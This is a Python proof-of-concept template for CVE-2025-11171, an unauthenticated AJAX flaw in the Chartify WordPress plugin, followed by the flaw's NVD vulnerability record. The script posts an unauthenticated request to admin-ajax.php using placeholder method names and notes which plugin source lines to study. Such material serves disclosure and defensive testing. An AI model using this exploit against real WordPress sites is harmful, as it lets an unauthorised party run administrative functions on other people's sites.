CVE-2025-11171

# CVE-2025-11171 PoC - Chartify WordPress Plugin Unauthenticated AJAX Action # Vulnerability: Missing Authentication for Critical Function # Affected: Chartify - WordPress Chart Plugin <= 3.5.9 import requests TARGET_URL = "http://target-wordpress-site.com" AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Step 1: Enumerate callable admin class methods by analyzing plugin source # The plugin registers an AJAX action that dispatches to admin-class methods # based on a request parameter without nonce or capability checks # Step 2: Send unauthenticated AJAX request to execute admin function payload = { "action": "chart_builder_ajax", # The registered AJAX action name "method": "admin_method_name", # The admin class method to invoke # Additional parameters required by the target method } response = requests.post(AJAX_ENDPOINT, data=payload) if response.status_code == 200: print("[+] Request successful - admin function executed without authentication") print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Request failed with status code: {response.status_code}") # Note: The actual action name and method names need to be determined # by analyzing the plugin source code at: # /wp-content/plugins/chart-builder/admin/class-chart-builder-admin.php # Key lines: #1625 (AJAX registration), #675 (method dispatch logic)

{"cve": {"id": "CVE-2025-11171", "sourceIdentifier": "[email protected]", "published": "2025-10-08T06:15:34.270", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Chartify – WordPress Chart Plugin for WordPress is vulnerable to Missing Authentication for Critical Function in all versions up to, and including, 3.5.9. This is due to the plugin registering an unauthenticated AJAX action that dispatches to admin-class methods based on a request parameter, without any nonce or capability checks. This makes it possible for unauthenticated attackers to execute administrative functions via the wp-admin/admin-ajax.php endpoint granted they can identify callable method names."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/chart-builder/tags/3.5.8/admin/class-chart-builder-admin.php#L1625", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/chart-builder/tags/3.5.8/admin/class-chart-builder-admin.php#L675", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/chart-builder/tags/3.5.8/includes/class-chart-builder.php#L247", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3372188%40chart-builder%2Ftags%2F3.6.0&new=3372188%40chart-builder%2Ftags%2F3.6.0", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa3e030b-8ef1-4dbc-940d-6c2ab2683620?source=cve", "source": "[email protected]"}]}}